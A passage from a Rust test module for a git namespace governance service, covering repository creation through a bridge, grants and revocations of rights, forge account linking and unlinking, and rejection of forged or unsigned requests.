json!({ "namespace": ns, "name": "gadgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await);
assert_eq!(out["repo"]["state"], "pendingCreate");
assert!(out.get("manualSteps").is_none() || out["manualSteps"] == json!([]));
super::bridge::dispatch_due(&f.vtc.state).await.unwrap();
let create = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.find(|j| j.kind == super::bridge::JobKind::CreateRepo)
.unwrap();
assert_eq!(create.state, super::bridge::JobState::Accepted);
let forged = send(
&f.vtc.state,
&f.stranger,
"bridge/result",
json!({ "jobId": create.job_id, "outcome": "succeeded" }),
)
.await;
assert_eq!(code(&forged), "permissionDenied");
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({
"jobId": create.job_id, "outcome": "succeeded",
"repo": { "resource": "github.com/acme/gadgets", "forgeId": "812736990" },
"steps": [
{ "step": "create", "outcome": "applied" },
{ "step": "workflow", "outcome": "applied" },
{ "step": "keyring", "outcome": "applied" },
{ "step": "variables", "outcome": "applied" },
{ "step": "requiredCheck", "outcome": "applied" }
],
}),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at("github.com/acme/gadgets").unwrap();
assert_eq!(repo.state, RepoState::Active);
assert_eq!(repo.forge_id.as_deref(), Some("812736990"));
assert!(repo.bootstrap.required_check);
}
#[tokio::test]
async fn a_departed_members_rights_go_and_their_sole_repository_is_orphaned() {
let f = fixture().await;
let res = active_repo(&f).await;
ok(&grant(&f, &f.bob, &f.carol.did, "git.commit.sign", &res).await);
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.bob.did)
.await
.unwrap();
assert!(super::lifecycle::sweep(&f.vtc.state).await.unwrap());
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(&res).unwrap();
assert_eq!(repo.state, RepoState::Orphaned);
let rows = snap.rows(&Scope::Repo(repo.id.clone()));
assert!(rows.iter().all(|r| r.subject != f.bob.did));
assert!(rows.iter().any(|r| r.subject == f.carol.did));
let departed = super::lifecycle::issued_by_departed(&f.vtc.state)
.await
.unwrap();
assert_eq!(departed.get(&f.bob.did).map(Vec::len), Some(1));
ok(&grant(&f, &f.admin, &f.carol.did, "git.repo.own", &res).await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(snap.repo_at(&res).unwrap().state, RepoState::Active);
}
#[tokio::test]
async fn a_lapsed_right_is_withdrawn_and_recorded() {
let f = fixture().await;
let res = active_repo(&f).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let scope = Scope::Repo(snap.repo_at(&res).unwrap().id.clone());
let mut set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
let mut row = set.rows[0].clone();
row.subject = f.carol.did.clone();
row.right = super::model::Right::CommitSign;
row.expires_at = Some("2020-01-01T00:00:00Z".parse().unwrap());
set.rows.push(row);
store::put_rights(&f.vtc.state.git_ns, &scope, &set)
.await
.unwrap();
let view = projection::ProjectionView::load(&f.vtc.state)
.await
.unwrap();
assert!(
!projection::desired(&view, super::ops::now()).contains_key(&projection::tuple_key(
&f.carol.did,
"git.commit.sign",
&res
)),
"a lapsed right is never published, sweep or no sweep"
);
assert!(super::lifecycle::sweep_expiry(&f.vtc.state).await.unwrap());
let set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
assert!(set.rows.iter().all(|r| r.subject != f.carol.did));
}
#[tokio::test]
async fn account_link_needs_a_bridge_namespace_and_status_answers_only_its_owner() {
let f = fixture().await;
let out = send(
&f.vtc.state,
&f.bob,
"account/link",
json!({ "forge": "github.com" }),
)
.await;
assert_eq!(code(&out), "git-ns/account/link:unsupportedForge");
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let job = f.bridge.jobs.lock().unwrap()[0].1["jobId"].clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "bindCompleted", "jobId": job, "ownerId": "1", "kind": "organization" } }),
)
.await);
let link = ok(&send(
&f.vtc.state,
&f.bob,
"account/link",
json!({ "forge": "github.com" }),
)
.await);
let link_id = link["linkId"].as_str().unwrap().to_string();
let status = ok(&send(
&f.vtc.state,
&f.bob,
"account/link-status",
json!({ "linkId": link_id }),
)
.await);
assert_eq!(status["state"], "pending");
let other = send(
&f.vtc.state,
&f.carol,
"account/link-status",
json!({ "linkId": link_id }),
)
.await;
assert_eq!(code(&other), "git-ns/account/link-status:unknownLink");
let link_job = f.bridge.jobs.lock().unwrap()[1].1["jobId"].clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "accountLinked", "jobId": link_job, "account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" } } }),
)
.await);
let status = ok(&send(
&f.vtc.state,
&f.bob,
"account/link-status",
json!({ "linkId": link_id }),
)
.await);
assert_eq!(status["state"], "linked");
assert_eq!(status["account"]["id"], "9120045");
let accounts = super::bridge::linked_accounts(&f.vtc.state).await.unwrap();
assert_eq!(accounts[&f.bob.did]["github.com"].login, "bob-builds");
}
async fn new_role_jobs(
f: &Fixture,
before: &std::collections::BTreeSet<String>,
repo: &str,
) -> Vec<super::bridge::BridgeJob> {
super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.filter(|j| {
!before.contains(&j.job_id)
&& j.kind == super::bridge::JobKind::ProjectRoles
&& j.payload["repo"] == repo
})
.collect()
}
async fn job_ids(f: &Fixture) -> std::collections::BTreeSet<String> {
super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.map(|j| j.job_id)
.collect()
}
#[tokio::test]
async fn unlinking_drops_the_account_from_the_projection_and_only_that() {
const WIDGETS: &str = "github.com/acme/widgets";
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, WIDGETS, "812").await;
ok(&send(
&f.vtc.state,
&f.bob,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.repo.maintain", "resource": WIDGETS }),
)
.await);
let before = job_ids(&f).await;
link_account(&f, &ns, &f.bob, "9120045", "bob-builds").await;
link_account(&f, &ns, &f.carol, "5550001", "carol-c").await;
super::bridge::project_roles(&f.vtc.state, false)
.await
.unwrap();
let linked = new_role_jobs(&f, &before, WIDGETS).await;
assert!(
linked
.iter()
.any(|j| j.payload["desiredRoles"].to_string().contains("9120045")),
"{linked:?}"
);
let out = send(
&f.vtc.state,
&f.bob,
"account/unlink",
json!({ "forge": "github.com", "accountId": "1" }),
)
.await;
assert_eq!(code(&out), "git-ns/account/unlink:notLinked");
let accounts = super::bridge::linked_accounts(&f.vtc.state).await.unwrap();
assert_eq!(accounts[&f.bob.did]["github.com"].id, "9120045");
let before = job_ids(&f).await;
let body = ok(&send(
&f.vtc.state,
&f.bob,
"account/unlink",
json!({ "forge": "github.com", "accountId": "9120045" }),
)
.await);
assert_eq!(
body["unlinked"],
json!({ "forge": "github.com", "id": "9120045", "login": "bob-builds" })
);
assert!(body["unlinkedAt"].is_string());
let accounts = super::bridge::linked_accounts(&f.vtc.state).await.unwrap();
assert!(!accounts.contains_key(&f.bob.did), "{accounts:?}");
assert_eq!(accounts[&f.carol.did]["github.com"].login, "carol-c");
let bob = crate::members::get_member(&f.vtc.state.members_ks, &f.bob.did)
.await
.unwrap()
.unwrap();
assert!(
bob.extensions.get("forges").is_none(),
"{:?}",
bob.extensions
);
let after = new_role_jobs(&f, &before, WIDGETS).await;
assert_eq!(after.len(), 1, "{after:?}");
let roles = after[0].payload["desiredRoles"].to_string();
assert!(
!roles.contains("9120045") && roles.contains("5550001"),
"{roles}"
);
assert!(after[0].payload.get("removeAccounts").is_none());
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at(WIDGETS).unwrap();
assert!(
snap.rows(&Scope::Repo(repo.id.clone()))
.iter()
.any(|r| r.subject == f.bob.did)
);
let mut rows = Vec::new();
for (_, v) in f
.vtc
.state
.audit_ks
.prefix_iter_raw(Vec::new())
.await
.unwrap()
{
let env: vti_common::audit::AuditEnvelope = serde_json::from_slice(&v).unwrap();
if let vti_common::audit::AuditEvent::GitNsOperation(d) = env.event
&& d.action == "gitNs.account.unlinked"
{
assert_eq!(d.detail.as_deref(), Some("github.com"));
rows.push(String::from_utf8_lossy(&v).into_owned());
}
}
assert!(!rows.is_empty());
for r in &rows {
assert!(!r.contains("9120045") && !r.contains("bob-builds"), "{r}");
}
let out = send(
&f.vtc.state,
&f.bob,
"account/unlink",
json!({ "forge": "github.com" }),
)
.await;
assert_eq!(code(&out), "git-ns/account/unlink:notLinked");
let out = send(
&f.vtc.state,
&f.admin,
"account/unlink",
json!({ "forge": "github.com", "accountId": "5550001" }),
)
.await;
assert_eq!(code(&out), "git-ns/account/unlink:notLinked");
assert!(
super::bridge::linked_accounts(&f.vtc.state)
.await
.unwrap()
.contains_key(&f.carol.did)
);
let out = send(
&f.vtc.state,
&f.stranger,
"account/unlink",
json!({ "forge": "github.com" }),
)
.await;
assert_eq!(code(&out), "git-ns/account/unlink:notLinked");
}
#[tokio::test]
async fn an_account_on_a_forge_with_no_bridge_can_still_be_unlinked() {
let f = fixture().await;
crate::members::storage::edit_member(&f.vtc.state.members_ks, &f.bob.did, |m| {
m.extensions = json!({
"org": "acme",
"forges": { "codeberg.org": { "id": "77", "login": "bob-cb", "linkedAt": "2026-09-23T10:00:00Z" } },
});
true
})
.await
.unwrap();
ok(&send(
&f.vtc.state,
&f.bob,
"account/unlink",
json!({ "forge": "codeberg.org" }),
)
.await);
let bob = crate::members::get_member(&f.vtc.state.members_ks, &f.bob.did)
.await
.unwrap()
.unwrap();
assert_eq!(bob.extensions, json!({ "org": "acme" }));
}
#[tokio::test]
async fn a_forge_account_already_linked_to_a_member_cannot_be_linked_to_another() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
link_account(&f, &ns, &f.bob, "9120045", "bob-builds").await;
let id = link(&f, &f.carol).await;
let job = f.bridge.jobs.lock().unwrap().last().unwrap().1["jobId"].clone();
ok(&event(
&f,
&ns,
json!({ "type": "accountLinked", "jobId": job, "account": { "forge": "github.com", "id": "9120045", "login": "renamed" } }),
)
.await);
assert_eq!(link_state(&f, &f.carol, id).await, "failed");
let accounts = super::bridge::linked_accounts(&f.vtc.state).await.unwrap();
assert_eq!(accounts[&f.bob.did]["github.com"].login, "bob-builds");
assert!(!accounts.contains_key(&f.carol.did));
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.bob.did)
.await
.unwrap();
assert!(
!super::bridge::linked_accounts(&f.vtc.state)
.await
.unwrap()
.contains_key(&f.bob.did),
"a lapsed member's account projects nothing"
);
let id = link(&f, &f.carol).await;
let job = f.bridge.jobs.lock().unwrap().last().unwrap().1["jobId"].clone();
ok(&event(
&f,
&ns,
json!({ "type": "accountLinked", "jobId": job, "account": { "forge": "github.com", "id": "9120045", "login": "bob-builds" } }),
)
.await);
assert_eq!(link_state(&f, &f.carol, id).await, "failed");
let list = ok(&send(&f.vtc.state, &f.admin, "account/list", json!({})).await);
let row = list["accounts"]
.as_array()
.unwrap()
.iter()
.find(|a| a["member"] == json!(f.bob.did))
.unwrap();
assert_eq!(row["memberCurrent"], false);
ok(&send(
&f.vtc.state,
&f.bob,
"account/unlink",
json!({ "forge": "github.com", "accountId": "9120045" }),
)
.await);
link_account(&f, &ns, &f.carol, "9120045", "bob-builds").await;
let accounts = super::bridge::linked_accounts(&f.vtc.state).await.unwrap();
assert_eq!(accounts[&f.carol.did]["github.com"].id, "9120045");
}
#[tokio::test]
async fn a_departed_member_with_no_rights_loses_their_linked_accounts() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
link_account(&f, &ns, &f.carol, "5550001", "carol-c").await;
crate::members::storage::edit_member(&f.vtc.state.members_ks, &f.carol.did, |m| {
m.removed_at = Some(chrono::Utc::now());
true
})
.await
.unwrap();
assert!(super::lifecycle::sweep(&f.vtc.state).await.unwrap());
let carol = crate::members::get_member(&f.vtc.state.members_ks, &f.carol.did)
.await
.unwrap()
.unwrap();
assert!(
carol.extensions.get("forges").is_none(),
"{:?}",
carol.extensions
);
}
#[test]
fn every_git_ns_task_is_served() {
let served = super::tasks::served_uris();
for task in [
"namespace/bind",
"namespace/unbind",
"repo/create",
"repo/adopt",
"repo/transfer",
"repo/archive",
"right/grant",
"right/revoke",
"view",
"account/link",
"account/link-status",
"account/unlink",
"bridge/result",
"bridge/event",
"drift/resolve",
"roles/reproject",
] {
assert!(served.contains(&uri(task).as_str()), "{task} is not served");
}
assert!(
served.contains(&uri3("drift/resolve").as_str()),
"drift/resolve 0.3 is not served"
);
assert!(served.contains(&RESEAT_URI), "reseat 0.3 is not served");
assert!(
!served.contains(&uri("namespace/reseat").as_str()),
"reseat 0.1 is still served"
);
for task in ["view", "bridge/event"] {
assert!(
served.contains(&format!("{URI}/{task}/0.2").as_str()),
"{task} 0.2 is not served"
);
}
assert!(served.contains(&format!("{URI}/bridge/event/0.3").as_str()));
assert!(served.contains(&uri("roles/reproject").as_str()));
assert!(!served.contains(&uri("bridge/job").as_str()));
for task in ["right/grant", "right/revoke"] {
for old in ["0.1", "0.2"] {
assert!(
!served.contains(&format!("{URI}/{task}/{old}").as_str()),
"{task} {old} is still served"
);
}
}
}
#[tokio::test]
async fn a_proof_required_git_ns_task_is_refused_unsigned() {
let f = fixture().await;
let doc: TrustTask<Value> = vta_sdk::trust_task_sign::build_unsigned(
&uri("right/grant"),
json!({ "subject": f.bob.did, "right": "git.commit.sign", "resource": "github.com/acme" }),
&f.admin.did,
TEST_VTC_DID,
)
.unwrap();
let out = dispatch_trust_task_core(
&f.vtc.state,
&JoinAuthCtx::rest(),
&serde_json::to_vec(&doc).unwrap(),
)
.await;
assert_eq!(code(&out), "proofRequired");
}
#[tokio::test]
async fn view_0_4_is_refused_unsigned() {
let f = fixture().await;
let doc: TrustTask<Value> = vta_sdk::trust_task_sign::build_unsigned(
&format!("{URI}/view/0.4"),
json!({}),
&f.bob.did,
TEST_VTC_DID,
)
.unwrap();
let out = dispatch_trust_task_core(
&f.vtc.state,
&JoinAuthCtx::rest(),
&serde_json::to_vec(&doc).unwrap(),
)
.await;
assert_eq!(code(&out), "proofRequired");
}
#[tokio::test]
async fn a_bound_bridge_namespace_grants_its_bridge_commit_sign_and_nothing_else() {
let f = fixture().await;
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let job = f.bridge.jobs.lock().unwrap()[0].1["jobId"].clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "bindCompleted", "jobId": job, "ownerId": "1", "kind": "organization" } }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let rows = snap.rows(&Scope::Namespace(ns.clone()));
let grant_row = rows
.iter()
.find(|r| r.subject == f.bridge_party.did)
.expect("the bridge holds a service grant");
assert_eq!(grant_row.right, super::model::Right::CommitSign);
assert_eq!(grant_row.granted_by, TEST_VTC_DID);
assert!(!grant_row.subject_was_member);
let registry = MockRegistryClient::new();
projection::reconcile(
&f.vtc.state,
®istry,
TEST_VTC_DID,
&mut Backoff::default(),
)
.await
.unwrap();
let key = projection::tuple_key(&f.bridge_party.did, "git.commit.sign", "github.com/acme");
let record = registry
.trust_records()
.await
.get(&key)
.cloned()
.expect("published");
assert!(record["context"].get("grantedBy").is_none());
let out = grant(
&f,
&f.admin,
&f.stranger.did,
"git.commit.sign",
"github.com/acme",
)
.await;
assert_eq!(code(&out), "git-ns:policyDenied");
super::lifecycle::sweep(&f.vtc.state).await.unwrap();
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
snap.rows(&Scope::Namespace(ns.clone()))
.iter()
.any(|r| r.subject == f.bridge_party.did)
);
let out = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
assert_eq!(
out["rightsRevoked"], 2,
"the admin's ns.admin and the bridge's grant"
);
}
#[tokio::test]
async fn a_console_key_acts_as_its_admin_and_a_revoked_one_as_nobody() {
let f = fixture().await;
let console = Party::new();
crate::acl::console_key::enrol_delegation(
&f.vtc.state.console_keys_ks,
&f.vtc.state.acl_ks,
&console.did,
&f.admin.did,
Some("browser".into()),
None,
)
.await
.unwrap();
let body = ok(&send(
&f.vtc.state,
&console,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "manual" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(
super::rules::admins(&snap, &ns, super::ops::now()),
vec![f.admin.did.clone()]
);
ok(&grant(
&f,
&console,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
crate::acl::console_key::revoke_delegation(
&f.vtc.state.console_keys_ks,
&console.did,
&f.admin.did,
)
.await
.unwrap();
let out = grant(
&f,
&console,
&f.carol.did,
"git.repo.create",
"github.com/acme",
)
.await;
assert_eq!(code(&out), "permissionDenied");
}
#[tokio::test]
async fn the_bridges_ext_report_reaches_the_admin_rows() {
let f = fixture().await;
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let job = f.bridge.jobs.lock().unwrap()[0].1["jobId"].clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({
"namespace": ns,
"event": { "type": "bindCompleted", "jobId": job, "ownerId": "1", "kind": "organization" },
"ext": { "org.openvtc.git-ns": { "namespace": {
"installationId": "55120033", "appSlug": "acme-vgi",
"missingPermissions": ["organization_administration"],
"orgRulesets": true
} } },
}),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let status = snap.namespace(&ns).unwrap().forge_status.clone().unwrap();
assert_eq!(status.installation_id.as_deref(), Some("55120033"));
assert_eq!(
status.missing_permissions,
vec!["organization_administration"]
);
assert_eq!(status.org_rulesets, Some(true));
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/widgets", "owners": [f.bob.did] }),
)
.await);
let inspect = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.find(|j| j.kind == super::bridge::JobKind::Inspect)
.unwrap();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({
"jobId": inspect.job_id, "outcome": "partial",
"repo": { "resource": "github.com/acme/widgets", "forgeId": "7" },
"steps": [{ "step": "requiredCheck", "outcome": "failed", "detail": "not required" }],
"ext": { "org.openvtc.git-ns": { "repo": { "guard": "codeOwnerReview" } } },
}),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at("github.com/acme/widgets").unwrap();
assert_eq!(repo.forge_report.guard.as_deref(), Some("codeOwnerReview"));
assert_eq!(repo.forge_report.steps.len(), 1);
}
#[tokio::test]
async fn a_namespace_admin_reads_their_activity_and_nobody_elses() {
let f = fixture().await;
let ns = bind_manual(&f).await;
ok(&grant(&f, &f.admin, &f.bob.did, "git.ns.admin", "github.com/acme").await);
let body = ok(&send(&f.vtc.state, &f.bob, "activity/list", json!({})).await);
let items = body["items"].as_array().unwrap();
assert!(items.iter().any(|i| i["action"] == "gitNs.right.granted"
&& i["subject"] == json!(f.bob.did)
&& i["namespace"] == json!(ns)));
let out = send(&f.vtc.state, &f.carol, "activity/list", json!({})).await;
assert_eq!(code(&out), "git-ns/activity/list:notAdministrator");
let body = ok(&send(&f.vtc.state, &f.admin, "account/list", json!({})).await);
assert!(body["accounts"].as_array().unwrap().is_empty());
}
async fn bind_bridge(f: &Fixture) -> String {
let body = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "acme", "mode": "bridge" }),
)
.await);
let ns = body["namespace"]["id"].as_str().unwrap().to_string();
let job = f
.bridge
.jobs
.lock()
.unwrap()
.iter()
.rev()
.find(|(_, p)| p["kind"] == "beginBind")
.unwrap()
.1["jobId"]
.clone();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": { "type": "bindCompleted", "jobId": job, "ownerId": "1", "kind": "organization" } }),
)
.await);
ns
}
async fn adopt_with_forge_id(f: &Fixture, resource: &str, forge_id: &str) {
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": resource, "owners": [f.bob.did] }),
)
.await);
let inspect = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.find(|j| j.kind == super::bridge::JobKind::Inspect && j.payload["repo"] == resource)
.unwrap();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({
"jobId": inspect.job_id, "outcome": "succeeded",
"repo": { "resource": resource, "forgeId": forge_id },
"steps": [{ "step": "requiredCheck", "outcome": "unchanged" }],
}),
)
.await);
}
async fn event(f: &Fixture, ns: &str, event: Value) -> TrustTaskOutcome {
send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({ "namespace": ns, "event": event }),
)
.await
}
async fn reconcile(f: &Fixture, registry: &MockRegistryClient) -> projection::PassReport {
projection::reconcile(
&f.vtc.state,
registry,
TEST_VTC_DID,
&mut Backoff::default(),
)
.await
.unwrap()
}
async fn desired_now(f: &Fixture) -> std::collections::BTreeMap<String, projection::Tuple> {
let view = projection::ProjectionView::load(&f.vtc.state)
.await
.unwrap();
projection::desired_all(&f.vtc.state, &view, super::ops::now())
.await
.unwrap()
}
#[tokio::test]
async fn finding_1_a_rename_of_a_repository_reusing_a_lost_name_does_not_move_its_grants() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
ok(&grant(
&f,
&f.bob,
&f.carol.did,
"git.commit.sign",
"github.com/acme/widgets",
)
.await);
ok(&event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "200", "from": "github.com/acme/widgets", "to": "github.com/acme/gadgets" }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let a = snap.repo_at("github.com/acme/widgets").unwrap();
assert_eq!(a.forge_id.as_deref(), Some("100"), "A was not taken for B");
assert!(snap.repo_at("github.com/acme/gadgets").is_none());
let want = desired_now(&f).await;
assert!(
want.values()
.all(|t| t.resource != "github.com/acme/gadgets"),
"no right of A's is published on B's new name"
);
}
#[tokio::test]
async fn finding_1_a_repository_created_at_a_governed_name_detaches_the_old_one() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": "github.com/acme/widgets" }),
)
.await);
ok(&event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "200", "from": "github.com/acme/widgets", "to": "github.com/acme/gadgets" }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
snap.repos
.iter()
.all(|r| r.forge_id.as_deref() != Some("100")),
"the displaced repository is detached and folded away"
);
let b = snap.repo_at("github.com/acme/gadgets").unwrap();
assert_eq!(b.state, RepoState::Unmanaged);
assert!(snap.rows(&Scope::Repo(b.id.clone())).is_empty());
let want = desired_now(&f).await;
assert!(want.values().all(|t| !t.resource.starts_with("github.com/acme/")
|| t.resource == "github.com/acme"));
}
#[tokio::test]
async fn finding_1_events_are_confined_to_their_namespace_and_a_transfer_out_detaches() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
let widgets_id = Snapshot::load(&f.vtc.state.git_ns)
.await
.unwrap()
.repo_at("github.com/acme/widgets")
.unwrap()
.id
.clone();
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "beta", "mode": "manual" }),
)
.await);
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/beta/tools", "owners": [f.carol.did] }),
)
.await);
for bad in [
json!({ "type": "repoDeleted", "forgeId": "9", "resource": "github.com/beta/tools" }),
json!({ "type": "repoCreatedUnmanaged", "forgeId": "9", "resource": "codeberg.org/acme/x" }),
json!({ "type": "repoRenamed", "forgeId": "100", "from": "github.com/acme/widgets", "to": "github.com/beta/widgets" }),
json!({ "type": "repoTransferred", "forgeId": "9", "from": "github.com/beta/tools", "to": "github.com/acme/tools" }),
] {
let out = event(&f, &ns, bad.clone()).await;
assert_eq!(code(&out), "permissionDenied", "{bad}");
}
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert_eq!(
snap.repo_at("github.com/beta/tools").unwrap().state,
RepoState::Active
);
assert_eq!(
snap.repo_at("github.com/acme/widgets").unwrap().state,
RepoState::Active
);
ok(&event(
&f,
&ns,
json!({ "type": "repoTransferred", "forgeId": "100", "from": "github.com/acme/widgets", "to": "github.com/beta/widgets" }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let a = snap.repo(&widgets_id).unwrap();
assert_eq!(a.state, RepoState::Detached);
assert_eq!(a.resource, "github.com/acme/widgets");
assert_eq!(
a.forge_id, None,
"a detached row is not addressable by forge id"
);
assert!(snap.rows(&Scope::Repo(a.id.clone())).is_empty());
assert!(snap.repo_at("github.com/beta/widgets").is_none());
}
#[tokio::test]
async fn finding_2_no_published_record_names_its_granter_or_a_reason() {
let f = fixture().await;
bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
ok(&send(
&f.vtc.state,
&f.bob,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.repo.maintain", "resource": "github.com/acme/widgets", "reason": "secret" }),
)
.await);
let registry = MockRegistryClient::new();
reconcile(&f, ®istry).await;
let records = registry.trust_records().await;
assert!(records.len() >= 6, "admin, bridge, bob, carol");
for record in records.values() {
let context = record["context"].as_object().unwrap();
assert!(!context.contains_key("grantedBy"), "{record}");
assert!(!context.contains_key("reason"), "{record}");
assert!(!record.to_string().contains("secret"));
for key in context.keys() {
assert!(
["framework", "activeFrom", "activeTo", "impliedBy", "origin"]
.contains(&key.as_str()),
"unexpected context member {key}"
);
}
}
}
async fn map_members_to(f: &Fixture, resource: &str) {
f.vtc.state.config.write().await.hooks.git_trust = Some(crate::hooks::GitTrustHooksConfig {
grant_on_role: std::collections::BTreeMap::from([(
"member".to_string(),
resource.to_string(),
)]),
revoke_with_membership: true,
});
}
#[tokio::test]
async fn finding_3_a_role_derived_grant_is_a_source_and_survives_a_revoke_of_the_same_key() {
let f = fixture().await;
let res = active_repo(&f).await;
map_members_to(&f, &res).await;
let registry = MockRegistryClient::new();
reconcile(&f, ®istry).await;
let key = projection::tuple_key(&f.carol.did, "git.commit.sign", &res);
let record = registry.trust_records().await.get(&key).cloned().unwrap();
assert_eq!(record["context"]["origin"], "roleDerived");
ok(&grant(&f, &f.bob, &f.carol.did, "git.commit.sign", &res).await);
reconcile(&f, ®istry).await;
ok(&send(
&f.vtc.state,
&f.bob,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.commit.sign", "resource": res }),
)
.await);
reconcile(&f, ®istry).await;
let record = registry
.trust_records()
.await
.get(&key)
.cloned()
.expect("the role still wants it: not withdrawn");
assert_eq!(record["context"]["origin"], "roleDerived");
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.carol.did)
.await
.unwrap();
reconcile(&f, ®istry).await;
assert!(!registry.trust_records().await.contains_key(&key));
}
#[tokio::test]
async fn finding_3_verify_repairs_the_registry_and_rebuilds_a_lost_mirror() {
let f = fixture().await;
let res = active_repo(&f).await;
let registry = MockRegistryClient::new();
reconcile(&f, ®istry).await;
let wanted = projection::tuple_key(&f.bob.did, "git.commit.sign", &res);
let stray = |did: &str| {
json!({
"entity_id": did, "authority_id": TEST_VTC_DID,
"action": "git.commit.sign", "resource": res,
"record_type": "authorization", "authorized": true, "context": {},
})
};
registry.forget_trust_record(&wanted).await;
registry.plant_trust_record(stray(&f.stranger.did)).await;
let report = projection::verify(
&f.vtc.state,
®istry,
TEST_VTC_DID,
&mut Backoff::default(),
)
.await
.unwrap()
.expect("the mock registry enumerates");
assert_eq!((report.put, report.deleted), (1, 1));
let records = registry.trust_records().await;
assert!(records.contains_key(&wanted));
assert!(!records.contains_key(&projection::tuple_key(
&f.stranger.did,
"git.commit.sign",
&res
)));
for key in projection::published(&f.vtc.state).await.unwrap().keys() {
f.vtc
.state
.git_ns
.projection_ks
.remove(format!("t:{key}"))
.await
.unwrap();
}
registry.plant_trust_record(stray(&f.carol.did)).await;
let report = projection::verify(
&f.vtc.state,
®istry,
TEST_VTC_DID,
&mut Backoff::default(),
)
.await
.unwrap()
.unwrap();
assert_eq!((report.put, report.deleted), (0, 1));
assert!(
!registry
.trust_records()
.await
.contains_key(&projection::tuple_key(
&f.carol.did,
"git.commit.sign",
&res
))
);
assert_eq!(
projection::published(&f.vtc.state).await.unwrap().len(),
registry.trust_records().await.len()
);
}
const COMMUNITY_ADMIN_READS: [&str; 4] = [
"right/list",
"account/list",
"right/issued-by-departed",
"projection/show",
];
#[tokio::test]
